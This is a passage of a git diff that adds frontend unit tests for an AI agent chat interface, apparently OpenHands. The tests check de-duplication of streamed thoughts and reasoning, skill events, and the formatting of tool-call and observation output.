+ `\`\`\`json\n${JSON.stringify(event, null, 2)}\n\`\`\``,
+ );
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/duplicate-streamed-message.test.tsx b/__tests__/components/conversation-events/chat/duplicate-streamed-message.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a9c27f8d57bce05baa7280ffdafde536639bd65a
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/duplicate-streamed-message.test.tsx
@@ -0,0 +1,285 @@
+import { describe, expect, it } from "vitest";
+import { fireEvent, screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import {
+ ActionEvent,
+ MessageEvent,
+ ObservationEvent,
+ OpenHandsEvent,
+ SecurityRisk,
+} from "#/types/agent-server/core";
+import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event";
+import { handleEventForUI } from "#/utils/handle-event-for-ui";
+import { Messages } from "#/components/conversation-events/chat/messages";
+
+// Regression for issue #1534. With stream=true the agent streams its
+// pre-tool-call text as a StreamingDeltaEvent and then emits an intermediate
+// ActionEvent whose `thought` is that same text. The chat hoists the action's
+// thought into its own message, so the leftover streaming delta used to render
+// the identical text a second time. This test drives the real reducer
+// (handleEventForUI) and renders the real tree to assert the text
+// shows exactly once.
+
+const THOUGHT =
+ "I'll create a webpage explaining what OpenHands can do. " +
+ "Let me first gather accurate information from the official documentation.";
+
+const countOccurrences = (haystack: string, needle: string): number =>
+ haystack.split(needle).length - 1;
+
+const userMessage: MessageEvent = {
+ id: "user-1",
+ timestamp: "2026-06-12T12:00:00Z",
+ source: "user",
+ llm_message: {
+ role: "user",
+ content: [{ type: "text", text: "Create a basic webpage." }],
+ },
+ activated_skills: [],
+ extended_content: [],
+};
+
+// The reasoning streamed as a delta; many models carry reasoning ONLY here, so
+// the collapsible "Thinking" must survive the reconciliation.
+const streamingDelta: StreamingDeltaEvent = {
+ id: "delta-1",
+ kind: "StreamingDeltaEvent",
+ timestamp: "2026-06-12T12:00:01Z",
+ source: "agent",
+ content: THOUGHT,
+ reasoning_content: "Considering the request before acting.",
+};
+
+const action: ActionEvent = {
+ id: "action-1",
+ timestamp: "2026-06-12T12:00:02Z",
+ source: "agent",
+ thought: [{ type: "text", text: THOUGHT }],
+ thinking_blocks: [],
+ action: {
+ kind: "ExecuteBashAction",
+ command: "ls",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ tool_name: "execute_bash",
+ tool_call_id: "call_1",
+ tool_call: {
+ id: "call_1",
+ type: "function",
+ function: { name: "execute_bash", arguments: '{"command":"ls"}' },
+ },
+ llm_response_id: "resp-1",
+ security_risk: SecurityRisk.UNKNOWN,
+};
+
+const observation: ObservationEvent = {
+ id: "obs-1",
+ timestamp: "2026-06-12T12:00:03Z",
+ source: "environment",
+ tool_name: "execute_bash",
+ tool_call_id: "call_1",
+ observation: {
+ kind: "ExecuteBashObservation",
+ content: [{ type: "text", text: "file.txt\n" }],
+ command: "ls",
+ exit_code: 0,
+ error: false,
+ timeout: false,
+ metadata: {
+ exit_code: 0,
+ pid: 1,
+ username: "u",
+ hostname: "h",
+ working_dir: "/",
+ py_interpreter_path: null,
+ prefix: "",
+ suffix: "",
+ },
+ },
+ action_id: "action-1",
+};
+
+const reduce = (events: OpenHandsEvent[]): OpenHandsEvent[] =>
+ events.reduce((ui, ev) => handleEventForUI(ev, ui), []);
+
+describe("issue #1534 — streamed intermediate message duplication", () => {
+ it("renders the intermediate thought text exactly once", () => {
+ const allEvents = [userMessage, streamingDelta, action, observation];
+ const uiEvents = reduce(allEvents);
+
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1);
+ });
+
+ it("keeps the streamed reasoning visible (Thinking section survives)", () => {
+ const allEvents = [userMessage, streamingDelta, action, observation];
+ const uiEvents = reduce(allEvents);
+
+ renderWithProviders( );
+
+ // The collapsible "Thinking" section is still rendered (collapsed by
+ // default); expanding it reveals the reasoning that was streamed on the
+ // delta, proving the reconciliation kept the reasoning.
+ fireEvent.click(screen.getByTestId("collapsible-thinking-toggle"));
+ expect(
+ screen.getByTestId("collapsible-thinking-content").textContent ?? "",
+ ).toContain("Considering the request before acting.");
+ });
+
+ it("renders a single Thinking section when the action carries its own reasoning", () => {
+ // When the finalized action also reports reasoning, the streamed delta's
+ // reasoning would duplicate the action's "Thinking" — so the delta is
+ // dropped and only one Thinking section renders.
+ const reasoningAction: ActionEvent = {
+ ...action,
+ reasoning_content: "Considering the request before acting.",
+ };
+ const allEvents = [
+ userMessage,
+ streamingDelta,
+ reasoningAction,
+ observation,
+ ];
+ const uiEvents = reduce(allEvents);
+
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(screen.getAllByTestId("collapsible-thinking")).toHaveLength(1);
+ expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1);
+ });
+
+ it("renders the canonical final message and its metadata exactly once", () => {
+ const finalMessage: MessageEvent = {
+ id: "agent-msg-1",
+ timestamp: "2026-06-12T12:00:02Z",
+ source: "agent",
+ llm_message: {
+ role: "assistant",
+ content: [{ type: "text", text: THOUGHT }],
+ },
+ activated_skills: [],
+ extended_content: [],
+ critic_result: {
+ score: 0.72,
+ message: null,
+ metadata: null,
+ },
+ };
+ const allEvents = [userMessage, streamingDelta, finalMessage];
+ const uiEvents = reduce(allEvents);
+
+ expect(uiEvents.at(-1)).toBe(finalMessage);
+
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1);
+ expect(screen.getByLabelText("Score: 72.0%")).toBeInTheDocument();
+ fireEvent.click(screen.getByTestId("collapsible-thinking-toggle"));
+ expect(
+ screen.getByTestId("collapsible-thinking-content"),
+ ).toHaveTextContent("Considering the request before acting.");
+ });
+
+ it("renders once when streamed text has leading whitespace", () => {
+ const leadingWhitespaceDelta: StreamingDeltaEvent = {
+ ...streamingDelta,
+ content: `\n${THOUGHT}`,
+ };
+ const finalMessage: MessageEvent = {
+ id: "agent-msg-leading-whitespace",
+ timestamp: "2026-06-12T12:00:02Z",
+ source: "agent",
+ llm_message: {
+ role: "assistant",
+ content: [{ type: "text", text: THOUGHT }],
+ },
+ activated_skills: [],
+ extended_content: [],
+ };
+ const allEvents = [userMessage, leadingWhitespaceDelta, finalMessage];
+ const uiEvents = reduce(allEvents);
+
+ expect(uiEvents.at(-1)).toBe(finalMessage);
+
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(countOccurrences(container.textContent ?? "", THOUGHT)).toBe(1);
+ });
+});
+
+// A model that streams its reasoning but whose action `thought` does not repeat
+// that text used to render the delta's reasoning and the action's own reasoning
+// as two identical "Thinking" bubbles.
+describe("duplicate Thinking blocks", () => {
+ const REASONING =
+ "Let me read the full PRD to understand all the requirements. " +
+ "I need to see sections that were clipped.";
+
+ const reasoningOnlyDelta: StreamingDeltaEvent = {
+ id: "delta-reasoning-only",
+ kind: "StreamingDeltaEvent",
+ timestamp: "2026-06-12T12:00:01Z",
+ source: "agent",
+ content: null,
+ reasoning_content: REASONING,
+ };
+
+ const reasoningAction: ActionEvent = {
+ ...action,
+ thought: [],
+ reasoning_content: REASONING,
+ };
+
+ it("renders the reasoning in a single Thinking section", () => {
+ const allEvents = [
+ userMessage,
+ reasoningOnlyDelta,
+ reasoningAction,
+ observation,
+ ];
+ const uiEvents = reduce(allEvents);
+
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(screen.getAllByTestId("collapsible-thinking")).toHaveLength(1);
+
+ fireEvent.click(screen.getByTestId("collapsible-thinking-toggle"));
+ expect(
+ screen.getByTestId("collapsible-thinking-content"),
+ ).toHaveTextContent(REASONING);
+ expect(countOccurrences(container.textContent ?? "", REASONING)).toBe(1);
+ });
+
+ it("keeps the streamed reasoning when the action carries none", () => {
+ const plainAction: ActionEvent = { ...action, thought: [] };
+ const allEvents = [
+ userMessage,
+ reasoningOnlyDelta,
+ plainAction,
+ observation,
+ ];
+ const uiEvents = reduce(allEvents);
+
+ renderWithProviders( );
+
+ // The delta is the sole reasoning carrier, so its Thinking must survive.
+ expect(screen.getAllByTestId("collapsible-thinking")).toHaveLength(1);
+ fireEvent.click(screen.getByTestId("collapsible-thinking-toggle"));
+ expect(
+ screen.getByTestId("collapsible-thinking-content"),
+ ).toHaveTextContent(REASONING);
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..0aa35d0ab8657471361b1a6a9125c947471e0db4
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/create-skill-ready-event.test.ts
@@ -0,0 +1,79 @@
+import { describe, expect, it } from "vitest";
+import {
+ createSkillReadyEvent,
+ isSkillReadyEvent,
+} from "#/components/conversation-events/chat/event-content-helpers/create-skill-ready-event";
+import { MessageEvent } from "#/types/agent-server/core";
+
+const makeMessageEvent = (
+ overrides: Partial = {},
+): MessageEvent =>
+ ({
+ id: "msg-1",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "user",
+ message: { role: "user", content: [{ type: "text", text: "test" }] },
+ activated_skills: [],
+ extended_content: [],
+ ...overrides,
+ }) as MessageEvent;
+
+describe("createSkillReadyEvent", () => {
+ it("includes _skillReadyItems with structured skill data", () => {
+ const event = makeMessageEvent({
+ activated_skills: ["docker"],
+ extended_content: [
+ { type: "text", text: "Docker guide " },
+ ],
+ });
+
+ const result = createSkillReadyEvent(event);
+
+ expect(result._skillReadyItems).toEqual([
+ { name: "docker", content: "Docker guide" },
+ ]);
+ });
+
+ it("sets correct id and source", () => {
+ const event = makeMessageEvent({
+ id: "msg-42",
+ activated_skills: ["skill1"],
+ extended_content: [
+ { type: "text", text: "content " },
+ ],
+ });
+
+ const result = createSkillReadyEvent(event);
+
+ expect(result.id).toBe("msg-42-skill-ready");
+ expect(result.source).toBe("agent");
+ expect(result._isSkillReadyEvent).toBe(true);
+ });
+
+ it("throws when no skills and no extended content", () => {
+ const event = makeMessageEvent();
+
+ expect(() => createSkillReadyEvent(event)).toThrow(
+ "Cannot create skill ready event",
+ );
+ });
+});
+
+describe("isSkillReadyEvent", () => {
+ it("returns true for valid SkillReadyEvent", () => {
+ const event = makeMessageEvent({
+ activated_skills: ["skill1"],
+ extended_content: [
+ { type: "text", text: "content " },
+ ],
+ });
+
+ expect(isSkillReadyEvent(createSkillReadyEvent(event))).toBe(true);
+ });
+
+ it("returns false for plain objects", () => {
+ expect(isSkillReadyEvent({})).toBe(false);
+ expect(isSkillReadyEvent(null)).toBe(false);
+ expect(isSkillReadyEvent({ _isSkillReadyEvent: false })).toBe(false);
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b686f18fc2875e8eb71630a56c5d8c08d826124e
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content.test.ts
@@ -0,0 +1,219 @@
+import { describe, it, expect } from "vitest";
+import {
+ getACPToolCallContent,
+ getACPToolCallTitleKey,
+ stripRedundantTitlePrefix,
+} from "#/components/conversation-events/chat/event-content-helpers/get-acp-tool-call-content";
+import { getACPToolCallResult } from "#/components/conversation-events/chat/event-content-helpers/get-observation-result";
+import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+
+const baseEvent: ACPToolCallEvent = {
+ kind: "ACPToolCallEvent",
+ id: "evt-1",
+ timestamp: "2026-04-16T19:32:29.828069",
+ source: "agent",
+ tool_call_id: "toolu_123",
+ title: "gh pr diff 490 --repo OpenHands/evaluation",
+ tool_kind: "execute",
+ status: "completed",
+ raw_input: { command: "gh pr diff 490 --repo OpenHands/evaluation" },
+ raw_output: "diff --git a/foo b/foo\n+added\n",
+ content: null,
+ is_error: false,
+};
+
+const makeEvent = (overrides: Partial): ACPToolCallEvent => ({
+ ...baseEvent,
+ ...overrides,
+});
+
+describe("getACPToolCallTitleKey", () => {
+ it.each([
+ ["execute", "ACTION_MESSAGE$ACP_RUN"],
+ ["edit", "ACTION_MESSAGE$ACP_EDIT"],
+ ["read", "ACTION_MESSAGE$ACP_READ"],
+ ["fetch", "ACTION_MESSAGE$ACP_FETCH"],
+ ["other", "ACTION_MESSAGE$ACP_TOOL"],
+ ] as const)("maps tool_kind=%s to %s", (toolKind, expectedKey) => {
+ expect(getACPToolCallTitleKey(makeEvent({ tool_kind: toolKind }))).toBe(
+ expectedKey,
+ );
+ });
+
+ it("falls back to ACP_TOOL when tool_kind is null", () => {
+ expect(getACPToolCallTitleKey(makeEvent({ tool_kind: null }))).toBe(
+ "ACTION_MESSAGE$ACP_TOOL",
+ );
+ });
+});
+
+describe("getACPToolCallContent", () => {
+ it("renders execute tool calls with Command: and Output: blocks, matching terminal observations", () => {
+ const content = getACPToolCallContent(baseEvent);
+
+ expect(content).toContain(
+ "Command: `gh pr diff 490 --repo OpenHands/evaluation`",
+ );
+ expect(content).toContain("Output:");
+ expect(content).toContain("```");
+ expect(content).toContain("diff --git a/foo b/foo");
+ });
+
+ it("renders non-execute tool calls with an Input: JSON block", () => {
+ const content = getACPToolCallContent(
+ makeEvent({
+ tool_kind: "edit",
+ raw_input: { path: "/workspace/foo.py", content: "print('hi')\n" },
+ raw_output: "ok",
+ }),
+ );
+
+ expect(content).toContain("Input:");
+ expect(content).toContain("```json");
+ expect(content).toContain('"path": "/workspace/foo.py"');
+ expect(content).toContain("Output:");
+ expect(content).toContain("ok");
+ });
+
+ it("uses **Error:** for the output block when is_error is true", () => {
+ const content = getACPToolCallContent(
+ makeEvent({ is_error: true, raw_output: "permission denied" }),
+ );
+
+ expect(content).toContain("**Error:**");
+ expect(content).toContain("permission denied");
+ expect(content).not.toContain("Output:\n```\npermission denied");
+ });
+
+ it("falls back to the shared no-output message when raw_output is empty", () => {
+ const content = getACPToolCallContent(
+ makeEvent({ raw_output: null, raw_input: { command: "true" } }),
+ );
+
+ // Mirrors getTerminalObservationContent which uses the same i18n key.
+ expect(content).toContain("Output:");
+ expect(content).toContain("OBSERVATION$COMMAND_NO_OUTPUT");
+ });
+
+ it("truncates very long output to MAX_CONTENT_LENGTH with an ellipsis", () => {
+ const huge = "x".repeat(5000);
+ const content = getACPToolCallContent(makeEvent({ raw_output: huge }));
+
+ // MAX_CONTENT_LENGTH = 1000 in shared.ts; mirror that budget.
+ expect(content).toMatch(/x{1000}\.\.\./);
+ expect(content).not.toMatch(/x{1001}/);
+ });
+
+ it("serialises structured raw_output as JSON", () => {
+ const content = getACPToolCallContent(
+ makeEvent({
+ tool_kind: "fetch",
+ raw_input: { url: "https://example.com" },
+ raw_output: { status: 200, body: "ok" },
+ }),
+ );
+
+ expect(content).toContain('"status": 200');
+ expect(content).toContain('"body": "ok"');
+ });
+});
+
+describe("stripRedundantTitlePrefix", () => {
+ // The i18n templates already wrap the title in a verb ("Reading
+ // … "); ACP servers like Claude Code emit titles that also
+ // carry a verb ("Read /Users/foo/bar"). Without the strip, the user
+ // sees "Reading Read /Users/foo/bar".
+
+ it("strips a leading 'Read' from read-tool titles (the headline regression)", () => {
+ expect(
+ stripRedundantTitlePrefix(
+ makeEvent({
+ tool_kind: "read",
+ title: "Read /Users/foo/bar/file.py",
+ }),
+ ),
+ ).toBe("/Users/foo/bar/file.py");
+ });
+
+ it("strips 'Edit' and 'Write' from edit-tool titles", () => {
+ expect(
+ stripRedundantTitlePrefix(
+ makeEvent({ tool_kind: "edit", title: "Edit /workspace/foo.py" }),
+ ),
+ ).toBe("/workspace/foo.py");
+ expect(
+ stripRedundantTitlePrefix(
+ makeEvent({ tool_kind: "edit", title: "Write /workspace/foo.py" }),
+ ),
+ ).toBe("/workspace/foo.py");
+ });
+
+ it("strips 'Bash' and 'Run' from execute-tool titles", () => {
+ expect(
+ stripRedundantTitlePrefix(
+ makeEvent({ tool_kind: "execute", title: "Bash ls -la" }),
+ ),
+ ).toBe("ls -la");
+ });
+
+ it("leaves a title without the redundant prefix untouched", () => {
+ // The OpenHands ACP wrapper, for example, may already emit just the
+ // command. The strip should be a no-op in that case.
+ expect(
+ stripRedundantTitlePrefix(
+ makeEvent({ tool_kind: "execute", title: "gh pr view 416" }),
+ ),
+ ).toBe("gh pr view 416");
+ });
+
+ it("does not strip when the prefix is part of a longer word", () => {
+ // ``"Reads"`` isn't the verb we want to strip — it's a different
+ // token. Boundary-check via whitespace after the prefix prevents
+ // the strip from over-reaching.
+ expect(
+ stripRedundantTitlePrefix(
+ makeEvent({ tool_kind: "read", title: "Reads-from /foo" }),
+ ),
+ ).toBe("Reads-from /foo");
+ });
+
+ it("does not strip when tool_kind is null (unknown shape)", () => {
+ // Without a kind we can't know which prefixes are redundant; leave
+ // the title verbatim.
+ expect(
+ stripRedundantTitlePrefix(
+ makeEvent({ tool_kind: null, title: "Read /foo" }),
+ ),
+ ).toBe("Read /foo");
+ });
+
+ it("handles an empty title", () => {
+ expect(
+ stripRedundantTitlePrefix(makeEvent({ tool_kind: "read", title: "" })),
+ ).toBe("");
+ });
+});
+
+describe("getACPToolCallResult", () => {
+ it("returns success for completed, non-error events", () => {
+ expect(getACPToolCallResult(baseEvent)).toBe("success");
+ });
+
+ it("returns error for failed status", () => {
+ expect(getACPToolCallResult(makeEvent({ status: "failed" }))).toBe("error");
+ });
+
+ it("returns error when is_error is true regardless of status", () => {
+ expect(
+ getACPToolCallResult(makeEvent({ status: "completed", is_error: true })),
+ ).toBe("error");
+ });
+
+ it("returns undefined while a call is still in progress", () => {
+ // undefined → SuccessIndicator renders nothing, mirroring how a regular
+ // ActionEvent is displayed before its ObservationEvent arrives.
+ expect(getACPToolCallResult(makeEvent({ status: "in_progress" }))).toBe(
+ undefined,
+ );
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..b67ebecb32f78f336ad5862ab07b7e1c5a2ea54b
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.test.ts
@@ -0,0 +1,73 @@
+import { describe, expect, it } from "vitest";
+import { getInvokeSkillItems } from "#/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items";
+import { ObservationEvent } from "#/types/agent-server/core";
+import { InvokeSkillObservation } from "#/types/agent-server/core/base/observation";
+
+const makeEvent = (
+ observation: Partial,
+): ObservationEvent =>
+ ({
+ id: "obs-skill",
+ timestamp: "2026-06-08T00:00:00.000Z",
+ source: "environment",
+ tool_name: "invoke_skill",
+ tool_call_id: "tool-skill",
+ action_id: "action-skill",
+ observation: {
+ kind: "InvokeSkillObservation",
+ skill_name: "worktree-switch",
+ content: [],
+ ...observation,
+ },
+ }) as ObservationEvent;
+
+describe("getInvokeSkillItems", () => {
+ it("returns a single item with the skill name and joined text content", () => {
+ const items = getInvokeSkillItems(
+ makeEvent({
+ skill_name: "worktree-switch",
+ content: [{ type: "text", text: "# Skill content" }],
+ }),
+ );
+
+ expect(items).toEqual([
+ { name: "worktree-switch", content: "# Skill content" },
+ ]);
+ });
+
+ it("joins multiple text blocks with newlines and trims", () => {
+ const items = getInvokeSkillItems(
+ makeEvent({
+ skill_name: "docker",
+ content: [
+ { type: "text", text: " line one" },
+ { type: "text", text: "line two " },
+ ],
+ }),
+ );
+
+ expect(items).toEqual([{ name: "docker", content: "line one\nline two" }]);
+ });
+
+ it("ignores non-text content blocks", () => {
+ const items = getInvokeSkillItems(
+ makeEvent({
+ skill_name: "docker",
+ content: [
+ { type: "image", image_urls: ["data:image/png;base64,abc"] },
+ { type: "text", text: "only text survives" },
+ ] as InvokeSkillObservation["content"],
+ }),
+ );
+
+ expect(items).toEqual([{ name: "docker", content: "only text survives" }]);
+ });
+
+ it("returns an empty array when there is no skill name and no content", () => {
+ const items = getInvokeSkillItems(
+ makeEvent({ skill_name: "", content: [] }),
+ );
+
+ expect(items).toEqual([]);
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-content.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-content.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..07be8e344aecb1bc58290ab004ce5e2b1076691d
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-content.test.ts
@@ -0,0 +1,981 @@
+import { describe, it, expect } from "vitest";
+import { getObservationContent } from "#/components/conversation-events/chat/event-content-helpers/get-observation-content";
+import { ObservationEvent } from "#/types/agent-server/core";
+import {
+ BrowserObservation,
+ GlobObservation,
+ GrepObservation,
+} from "#/types/agent-server/core/base/observation";
+
+const makeObservationEvent = (
+ observation: Record,
+): ObservationEvent =>
+ ({
+ id: "observation-formatting",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "tool",
+ tool_call_id: "tool-call",
+ action_id: "action",
+ observation,
+ }) as unknown as ObservationEvent;
+
+const terminalMetadata = (exitCode: number) => ({
+ exit_code: exitCode,
+ pid: 123,
+ username: "openhands",
+ hostname: "runtime",
+ working_dir: "/workspace",
+ py_interpreter_path: null,
+ prefix: "",
+ suffix: "",
+});
+
+describe("getObservationContent - BrowserObservation", () => {
+ it("should return output content when available", () => {
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "browser_navigate",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "BrowserObservation",
+ output: "Browser action completed",
+ error: null,
+ screenshot_data: "base64data",
+ },
+ };
+
+ const result = getObservationContent(mockEvent);
+
+ expect(result).toContain("**Output:**");
+ expect(result).toContain("Browser action completed");
+ });
+
+ it("should handle error cases properly", () => {
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "browser_navigate",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "BrowserObservation",
+ output: "",
+ error: "Browser action failed",
+ screenshot_data: null,
+ },
+ };
+
+ const result = getObservationContent(mockEvent);
+
+ expect(result).toContain("**Error:**");
+ expect(result).toContain("Browser action failed");
+ });
+
+ it("should provide default message when no output or error", () => {
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "browser_navigate",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "BrowserObservation",
+ output: "",
+ error: null,
+ screenshot_data: "base64data",
+ },
+ };
+
+ const result = getObservationContent(mockEvent);
+
+ expect(result).toBe("Browser action completed successfully.");
+ });
+
+ it("should return output when screenshot_data is null", () => {
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "browser_navigate",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "BrowserObservation",
+ output: "Page loaded successfully",
+ error: null,
+ screenshot_data: null,
+ },
+ };
+
+ const result = getObservationContent(mockEvent);
+
+ expect(result).toBe("**Output:**\nPage loaded successfully");
+ });
+});
+
+describe("getObservationContent - GlobObservation", () => {
+ it("should display files found when glob matches files", () => {
+ // Arrange
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "glob",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "GlobObservation",
+ content: [{ type: "text", text: "Found 2 files", cache_prompt: false }],
+ is_error: false,
+ files: ["/workspace/src/index.ts", "/workspace/src/app.ts"],
+ pattern: "**/*.ts",
+ search_path: "/workspace",
+ truncated: false,
+ },
+ };
+
+ // Act
+ const result = getObservationContent(mockEvent);
+
+ // Assert
+ expect(result).toBe(
+ "**Pattern:** `**/*.ts`\n**Search Path:** `/workspace`\n\n**Files Found (2):**\n- `/workspace/src/index.ts`\n- `/workspace/src/app.ts`",
+ );
+ });
+
+ it("should display no files found message when glob matches nothing", () => {
+ // Arrange
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "glob",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "GlobObservation",
+ content: [
+ { type: "text", text: "No files found", cache_prompt: false },
+ ],
+ is_error: false,
+ files: [],
+ pattern: "**/*.xyz",
+ search_path: "/workspace",
+ truncated: false,
+ },
+ };
+
+ // Act
+ const result = getObservationContent(mockEvent);
+
+ // Assert
+ expect(result).toContain("**Pattern:** `**/*.xyz`");
+ expect(result).toContain("**Result:** No files found.");
+ });
+
+ it("should display error when glob operation fails", () => {
+ // Arrange
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "glob",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "GlobObservation",
+ content: [
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "Permission denied", cache_prompt: false },
+ { type: "text", text: "Access blocked", cache_prompt: false },
+ ],
+ is_error: true,
+ files: [],
+ pattern: "**/*",
+ search_path: "/restricted",
+ truncated: false,
+ },
+ };
+
+ // Act
+ const result = getObservationContent(mockEvent);
+
+ // Assert
+ expect(result).toBe(
+ "**Pattern:** `**/*`\n**Search Path:** `/restricted`\n\n**Error:**\nPermission denied\nAccess blocked",
+ );
+ });
+
+ it("should indicate truncation when results exceed limit", () => {
+ // Arrange
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "glob",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "GlobObservation",
+ content: [{ type: "text", text: "Found files", cache_prompt: false }],
+ is_error: false,
+ files: ["/workspace/file1.ts"],
+ pattern: "**/*.ts",
+ search_path: "/workspace",
+ truncated: true,
+ },
+ };
+
+ // Act
+ const result = getObservationContent(mockEvent);
+
+ // Assert
+ expect(result).toContain("**Files Found (1+, truncated):**");
+ });
+});
+
+describe("getObservationContent - GrepObservation", () => {
+ it("should display matches found when grep finds results", () => {
+ // Arrange
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "grep",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "GrepObservation",
+ content: [
+ { type: "text", text: "Found 2 matches", cache_prompt: false },
+ ],
+ is_error: false,
+ matches: ["/workspace/src/api.ts", "/workspace/src/routes.ts"],
+ pattern: "fetchData",
+ search_path: "/workspace",
+ include_pattern: "*.ts",
+ truncated: false,
+ },
+ };
+
+ // Act
+ const result = getObservationContent(mockEvent);
+
+ // Assert
+ expect(result).toBe(
+ "**Pattern:** `fetchData`\n**Search Path:** `/workspace`\n**Include:** `*.ts`\n\n**Matches (2):**\n- `/workspace/src/api.ts`\n- `/workspace/src/routes.ts`",
+ );
+ });
+
+ it("should display no matches found when grep finds nothing", () => {
+ // Arrange
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "grep",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "GrepObservation",
+ content: [{ type: "text", text: "No matches", cache_prompt: false }],
+ is_error: false,
+ matches: [],
+ pattern: "nonExistentFunction",
+ search_path: "/workspace",
+ include_pattern: null,
+ truncated: false,
+ },
+ };
+
+ // Act
+ const result = getObservationContent(mockEvent);
+
+ // Assert
+ expect(result).toContain("**Pattern:** `nonExistentFunction`");
+ expect(result).toContain("**Result:** No matches found.");
+ expect(result).not.toContain("**Include:**");
+ });
+
+ it("should display error when grep operation fails", () => {
+ // Arrange
+ const mockEvent: ObservationEvent = {
+ id: "test-id",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "grep",
+ tool_call_id: "call-id",
+ action_id: "action-id",
+ observation: {
+ kind: "GrepObservation",
+ content: [
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "Invalid regex pattern", cache_prompt: false },
+ { type: "text", text: "Check expression", cache_prompt: false },
+ ],
+ is_error: true,
+ matches: [],
+ pattern: "[invalid",
+ search_path: "/workspace",
+ include_pattern: null,
+ truncated: false,
+ },
+ };
+
+ // Act
+ const result = getObservationContent(mockEvent);
+
+ // Assert
+ expect(result).toBe(
+ "**Pattern:** `[invalid`\n**Search Path:** `/workspace`\n\n**Error:**\nInvalid regex pattern\nCheck expression",
+ );
+ });
+});
+
+describe("getObservationContent - editor and terminal output", () => {
+ it("surfaces editor errors without showing stale output", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "FileEditorObservation",
+ command: "str_replace",
+ output: "stale output",
+ path: "/workspace/app.ts",
+ prev_exist: true,
+ old_content: "old",
+ new_content: "new",
+ error: "The old text was not found",
+ }),
+ ),
+ ).toBe("**Error:**\nThe old text was not found");
+ });
+
+ it("renders viewed and successfully edited content in code fences", () => {
+ const viewed = getObservationContent(
+ makeObservationEvent({
+ kind: "FileEditorObservation",
+ command: "view",
+ output: "fallback",
+ content: [
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "1 const value = 1;" },
+ { type: "text", text: "2 export default value;" },
+ ],
+ path: "/workspace/app.ts",
+ prev_exist: true,
+ old_content: null,
